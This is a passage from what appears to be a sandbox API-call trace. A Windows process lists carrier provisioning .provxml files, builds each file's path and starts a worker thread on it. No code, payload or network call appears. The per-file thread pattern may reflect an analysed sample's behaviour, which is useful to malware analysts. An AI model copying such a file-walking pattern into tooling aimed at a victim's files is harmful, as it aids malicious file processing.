Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.927] wcscat (in: _Dest=0x305d720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.927] wcscat (in: _Dest=0x305d720, _Source="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" [0177.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0177.928] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="19__CE~1.PRO")) returned 1 [0177.928] wcscmp (_String1="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0177.928] wcscmp (_String1="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0177.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x2fe1c68 [0177.928] wcscpy (in: _Dest=0x2fe1c68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.928] wcscat (in: _Dest=0x2fe1c68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.928] wcscat (in: _Dest=0x2fe1c68, _Source="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0177.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0177.929] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900ca6de, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900ca6de, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="1__CON~1.PRO")) returned 1 [0177.929] wcscmp (_String1="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.929] wcscmp (_String1="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.929] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x305d878 [0177.929] wcscpy (in: _Dest=0x305d878, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.929] wcscat (in: _Dest=0x305d878, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.929] wcscat (in: _Dest=0x305d878, _Source="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" [0177.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0177.930] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="200__C~1.PRO")) returned 1 [0177.930] wcscmp (_String1="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.930] wcscmp (_String1="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2fa5e08 [0177.930] wcscpy (in: _Dest=0x2fa5e08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.930] wcscat (in: _Dest=0x2fa5e08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.930] wcscat (in: _Dest=0x2fa5e08, _Source="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" [0177.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa5e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0177.931] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x308, dwReserved0=0x0, dwReserved1=0x0, cFileName="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="201__C~1.PRO")) returned 1 [0177.931] wcscmp (_String1="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.931] wcscmp (_String1="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.931] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x305d9d8 [0177.931] wcscpy (in: _Dest=0x305d9d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.931] wcscat (in: _Dest=0x305d9d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.931] wcscat (in: _Dest=0x305d9d8, _Source="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" [0177.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0177.931] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="202__C~1.PRO")) returned 1 [0177.931] wcscmp (_String1="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.932] wcscmp (_String1="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x305db28 [0177.932] wcscpy (in: _Dest=0x305db28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.932] wcscat (in: _Dest=0x305db28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.932] wcscat (in: _Dest=0x305db28, _Source="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" [0177.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305db28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0177.932] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="203__C~1.PRO")) returned 1 [0177.932] wcscmp (_String1="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.932] wcscmp (_String1="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x305dc68 [0177.932] wcscpy (in: _Dest=0x305dc68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.932] wcscat (in: _Dest=0x305dc68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.933] wcscat (in: _Dest=0x305dc68, _Source="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" [0177.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305dc68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0177.933] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="204__C~1.PRO")) returned 1 [0177.933] wcscmp (_String1="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0177.933] wcscmp (_String1="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0177.933] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x305dda8 [0177.933] wcscpy (in: _Dest=0x305dda8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.933] wcscat (in: _Dest=0x305dda8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.933] wcscat (in: _Dest=0x305dda8, _Source="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0177.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305dda8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0177.934] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="205__C~1.PRO")) returned 1 [0177.934] wcscmp (_String1="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.934] wcscmp (_String1="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.934] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2fa57a0 [0177.934] wcscpy (in: _Dest=0x2fa57a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.934] wcscat (in: _Dest=0x2fa57a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.934] wcscat (in: _Dest=0x2fa57a0, _Source="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" [0177.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa57a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0177.935] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="206__C~1.PRO")) returned 1 [0177.935] wcscmp (_String1="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.935] wcscmp (_String1="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.935] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x305def8 [0177.935] wcscpy (in: _Dest=0x305def8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.935] wcscat (in: _Dest=0x305def8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.935] wcscat (in: _Dest=0x305def8, _Source="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" [0177.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305def8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0177.936] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="207__C~1.PRO")) returned 1 [0177.936] wcscmp (_String1="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0177.936] wcscmp (_String1="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0177.936] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe1da0 [0177.936] wcscpy (in: _Dest=0x2fe1da0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.936] wcscat (in: _Dest=0x2fe1da0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.936] wcscat (in: _Dest=0x2fe1da0, _Source="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0177.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0177.937] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="208__C~1.PRO")) returned 1 [0177.937] wcscmp (_String1="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.937] wcscmp (_String1="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 